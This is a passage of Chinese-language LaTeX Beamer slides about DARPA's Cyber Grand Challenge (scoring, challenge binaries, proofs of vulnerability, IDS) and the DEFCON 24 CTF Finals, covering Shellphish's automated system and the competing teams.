| \end{frame} 226 | 227 | \image{img/shellphish.jpg} 228 | 229 | \image{img/cgc-cfe.jpg} 230 | 231 | \begin{frame} 232 | \begin{block}{CGC Final Event} 233 | \begin{itemize} 234 | \item 96轮 235 | \item 比赛开始时CRS接收CB,每个CB以类似\texttt{socat tcp-l:9999 exec:cb}的形式提供服务 236 | \item 每轮为每个$(round,team,service)$产生分数,$(*,team,*)$和为该队伍累计分数 237 | \end{itemize} 238 | \end{block} 239 | \end{frame} 240 | 241 | \image{img/cgc-rack.png} 242 | 243 | \begin{frame} 244 | \begin{block}{$(round,team,service)$} 245 | \begin{itemize} 246 | \item $score = 100\times availability\times security\times evaluation$ 247 | \item $availability \in [0,1]$,通过poller的比例和内存时间开销 248 | \item $security \in \{1,2\}$,被其他CRS攻击成功? 249 | \item $evaluation \in [1,2]$,攻击其他CRS 250 | \end{itemize} 251 | \end{block} 252 | \end{frame} 253 | 254 | \begin{frame} 255 | \small 256 | \begin{table} 257 | \begin{tabularx}{\textwidth}{|l|X|X|} 258 | \hline 259 | & attack-defense & CGC \\\hline 260 | 题目数量 & $\sim$6 & 82 challenge sets(CFE)/8(DEFCON CTF) \\\hline 261 | 流量 & 主办方提供tcpdump & 自行在1999/udp接收(服务编号,连接号,流序号,消息长度等) \\\hline 262 | 平台 & amd64, aarch64, mipsel, $\ldots$ & DECREE \\\hline 263 | 服务 & 可ssh,替换服务文件 & API提交修补过的 \\\hline 264 | 可用性检测 & 主办方伪装成其他队伍检测 & 平台测试提交的CB \\\hline 265 | 攻击方式 & 手工, 程序 & 提交proof-of-vulnerability \\\hline 266 | flag & 主办方每轮生成,服务程序有权限读取的文件 & magic page填充随机值 \\ 267 | 防火墙 & executable wrapper & 类snort规则 \\\hline 268 | \end{tabularx} 269 | \end{table} 270 | \end{frame} 271 | 272 | \section{CB, Poller, POV, IDS} 273 | 274 | \begin{frame} 275 | \begin{block}{Challenge binary} 276 | \begin{itemize} 277 | \item 题目用的可执行文件,特意设置了若干漏洞 278 | \item 分析、修补、利用 279 | \item API上传修补后的CB 280 | \item static linking,手写libc,鼓励每道题用不同libc 281 | \end{itemize} 282 | \end{block} 283 | \end{frame} 284 | 285 | \begin{frame} 286 | \begin{block}{Poller generator} 287 | \begin{itemize} 288 | \item 检测CB可用性 289 | \item finite state automaton 290 | \item 每条边指定转移概率 291 | \item 每个顶点指定停止概率 292 | \item Python脚本指定各个顶点执行的操作,产生输入或输出等 293 | \end{itemize} 294 | \end{block} 295 | \end{frame} 296 | 297 | \begin{frame}[fragile]{} 298 | \tiny 299 | \begin{center} 300 | \begin{minipage}{0.5\textwidth} 301 | \begin{verbatim} 302 | nodes: 303 | - name: start 304 | - name: top 305 | - name: endIt 306 | - name: printAirports 307 | - name: addAirport 308 | - name: deleteAirport 309 | - name: findRoutes 310 | 311 | edges: 312 | - start: top 313 | - top: printAirports 314 | - printAirports: top 315 | - top: addAirport 316 | - addAirport: top 317 | - top: deleteAirport 318 | - deleteAirport: top 319 | - top: findRoutes 320 | - findRoutes: top 321 | - top: endIt 322 | weight: .20 323 | \end{verbatim} 324 | \end{minipage} 325 | \end{center} 326 | \end{frame} 327 | 328 | \begin{frame} 329 | \begin{block}{Proof of vulnerability} 330 | \begin{itemize} 331 | \item C编写的CGC可执行文件 332 | \item 构建方式和CB相同 333 | \item Type 1 \& Type 2 334 | \end{itemize} 335 | \end{block} 336 | \end{frame} 337 | 338 | \begin{frame} 339 | \begin{block}{Type 1 vulnerability} 340 | \begin{itemize}[<+-|alert@+>] 341 | \item 控制EIP与8个general purpose register中任意一个 342 | \item 如果证明能控制? 343 | \item Challenge response, POV程序向平台宣称能控制寄存器的特定20 bits,平台指定20 bits的值 344 | \item 程序崩溃时两个寄存器的值与challenge匹配 345 | \end{itemize} 346 | \end{block} 347 | \end{frame} 348 | 349 | \begin{frame} 350 | \begin{block}{Type 2 vulnerability} 351 | \begin{itemize} 352 | \item magic page 353 | \item CGC可执行文件执行时,0x4347c000处内核分配一页,填充随机值 354 | \item Challenge response,平台指定要输出magic page指定区间内的4字节 355 | \item POV程序设法获取 356 | \end{itemize} 357 | \end{block} 358 | \end{frame} 359 | 360 | \begin{frame} 361 | \begin{block}{Intrusion detection system (IDS)} 362 | \begin{itemize} 363 | \item 防火墙规则 364 | \item 可以阻挡攻击,也可能误伤poller generator 365 | \item domain-specific language 366 | \end{itemize} 367 | \end{block} 368 | \end{frame} 369 | 370 | \begin{frame} 371 | \begin{block}{Proof of vulnerability (POV)} 372 | \begin{itemize} 373 | \item C编写的CGC可执行文件 374 | \item 构建方式和CB相同 375 | \item Type 1 \& Type 2 376 | \end{itemize} 377 | \end{block} 378 | \end{frame} 379 | 380 | \begin{frame} 381 | \begin{block}{Oracle} 382 | \begin{itemize} 383 | \item Input: CB, POV, IDS 384 | \item Output: score, packet captures, others' CB \& IDS 385 | \item 可以下载其他队伍的CB和IDS 386 | \end{itemize} 387 | \end{block} 388 | \end{frame} 389 | 390 | \section{Shellphish的CRS} 391 | 392 | \begin{frame} 393 | \begin{block}{实现} 394 | \begin{itemize} 395 | \item \url{https://github.com/mechaphish} 396 | \item angr: binary loader + static analysis (control-flow graph, data-flow analysis, value-set analysis) + symbolic execution 397 | \item Driller: fuzzying with selective symbolic execution (American fuzzy lop + angr) 398 | \item patcherex: extended malloc, protect indirect call/jmp, return pointer encryption, randomly shift the stack, stack canary, backdoor, $\ldots$ 399 | \item database ORM model, qemu, scheduler, POV simulator, API interaction, $\ldots$ 400 | \end{itemize} 401 | \end{block} 402 | \end{frame} 403 | 404 | \begin{frame} 405 | \begin{block}{统计} 406 | \begin{itemize} 407 | \item 82 Challenge Sets 408 | \item 2442 exploits generated 409 | \item longest exploit: 3791 lines of C code 410 | \item shortest exploit: 226 lines of C code 411 | \end{itemize} 412 | \end{block} 413 | \end{frame} 414 | 415 | \section{DEFCON 24 CTF Finals} 416 | 417 | \begin{frame} 418 | \begin{block}{DEFCON 24 CTF Finals} 419 | \begin{itemize} 420 | \item CTF届世界杯 421 | \item Las Vegas,8月5$\sim$7日 422 | \end{itemize} 423 | \end{block} 424 | \end{frame} 425 | 426 | \image{img/ctf-platform.jpg} 427 | 428 | \begin{frame} 429 | \begin{block}{b1o0p} 430 | \begin{itemize} 431 | \item \textcolor{blue}{bl}ue-lotus + \textcolor{red}{0op}s = \textcolor{blue}{b1}\textcolor{red}{o0p} 432 | \item blue-lotus成立于清华大学网络与信息安全实验室,是中国首支入围DEFCON CTF全球决赛的战队 433 | \item 上海交通大学0ops成立于2013年,成员主要来自于计算机系密码学与计算机安全实验室、信息安全工程学院等,大陆首支国际CTF赛事冠军战队,2015年ctftime排名第3。 434 | \end{itemize} 435 | \end{block} 436 | \end{frame} 437 | 438 | \image{img/b1o0p.jpg} 439 | 440 | \image{img/b1o0p-onsite.jpg} 441 | 442 | \begin{frame} 443 | \begin{block}{结果} 444 | \begin{itemize}[<+-|alert@+>] 445 | \item PPP第一,b1o0p第二,DEFKOR第三 446 | \item 奖品 = null 447 | \item 不是我军无能,而是敌人太狡猾 448 | \end{itemize} 449 | \end{block} 450 | \end{frame} 451 | 452 | \begin{frame} 453 | \begin{block}{我军} 454 | \begin{itemize} 455 | \item neoni,BinDiff,找出修补CB与原CB差异 456 | \item \url{azure.kdays.cn},F.L.I.R.T signatures、executable loader 457 | \item hen,反汇编工具 458 | \item 小花椒,可执行文件修补工具、流量分析重放 459 | \item $\ldots$ 460 | \item libmaru,网络环境、主办方平台监控发送到slack 461 | \item yu4fn、firesun、BrieflyX等,team interface网站 462 | \item MaskRay,PCAP搜索、packet captures、POV检测 463 | \end{itemize} 464 | \end{block} 465 | \end{frame} 466 | 467 | \subsection{参赛队伍} 468 | 469 | \begin{frame} 470 | \begin{block}{Mayhem} 471 | \begin{itemize}[<+-|alert@+>] 472 | \item ForAllSecure的Cyber Reasoning System 473 | \item DEFCON CTF与CGC平台不一致,比赛前两天收到的流量有问题 474 | \item 没能公平的较量实属遗憾 475 | \item 8题做出7题应该不实,一题往往藏有数个漏洞。所有可执行文件都经过binary recompiler,MaskRay喵逆向不来 476 | \end{itemize} 477 | \end{block} 478 | \end{frame} 479 | 480 | \image{img/ppp.jpg} 481 | 482 | \image{img/geohot.jpg} 483 | 484 | \begin{frame} 485 | \begin{block}{PPP} 486 | \begin{itemize}[<+-|alert@+>] 487 | \item DEFCON 21,22,24 CTF第一,2011、2013、2015 ctftime第一 488 | \item geohot和Ricky Zhou为代表的Pwn机 489 | \item 参与Mayhem开发的ForAllSecure成员 490 | \item binary recompiler,Shellphish、binja等也有 491 | \end{itemize} 492 | \end{block} 493 | \end{frame} 494 | 495 | \image{img/defkor.jpg} 496 | 497 | \image{img/lokihardt.jpg} 498 | 499 | \begin{frame} 500 | \begin{block}{DEFKOR} 501 | \begin{itemize}[<+-|alert@+>] 502 | \item 韩国梦之队,Best of Best计划学生 503 | \item Jung Hoon Lee(lokihardt),Pwn2Own 2015攻破IE 11 Chrome Safari 504 | \item DEFCON 23 CTF第一 505 | \end{itemize} 506 | \end{block} 507 | \end{frame} 508 | 509 | \begin{frame} 510 | \begin{block}{LC↯BC} 511 | \begin{itemize}[<+-|alert@+>] 512 | \item 俄罗斯,Yellowstone Yachtsclub of Yawning 513 | \item OpenCTF 2016, 0CTF 2016第一 514 | \end{itemize} 515 | \end{block} 516 | \end{frame} 517 | 518 | \begin{frame} 519 | \begin{block}{HITCON} 520 | \begin{itemize}[<+-|alert@+>] 521 | \item 大量ICPC选手:peter50216, Shik, seanwu, david942j 522 | \item Orange Tsai,找出过Facebook, Uber, Yahoo多家大厂漏洞 523 | \end{itemize} 524 | \end{block} 525 | \end{frame} 526 | 527 | \section{DEFCON 24 CTF CB} 528 | 529 | \begin{frame} 530 | \begin{block}{实战} 531 | \end{block} 532 | \end{frame} 533 | 534 | \section{References} 535 | 536 | \begin{frame} 537 | \begin{block}{References} 538 | \begin{itemize} 539 | \item \href{http://kb.hitcon.org/post/131158681227/cyber-grand-challenge-\%E7\%B0\%A1\%E4\%BB\%8B}{Cyber Grand Challenge 簡介} 540 | \item \href{http://www.slideshare.net/seiyalee/hitcon-cgcautonomous-hacking-and-patching/1}{從HITCON 駭客戰隊挑戰美國CGC天網機器人探討自動攻防技術發展} 541 | \item \href{https://media.defcon.org/DEF\%20CON\%2024/DEF\%20CON\%2024\%20presentations/DEFCON-24-Shellphish-Cyber\%20Grand\%20Shellphish-UPDATED.pdf}{Cyber Grand Shellphish} 542 | \item \href{http://cs.ucsb.edu/~antoniob/files/hitcon\_2015\_public.pdf}{A Dozen Years of Shellphish From DEFCON to the Cyber Grand Challenge} 543 | \item \href{https://zhuanlan.zhihu.com/p/22005633}{机器的黎明--第24届DEF CON CTF总决赛亚军队员访谈} 544 | \end{itemize} 545 | \end{block} 546 | %\printbibliography 547 | \end{frame} 548 | 549 | \end{document} 550 | --------------------------------------------------------------------------------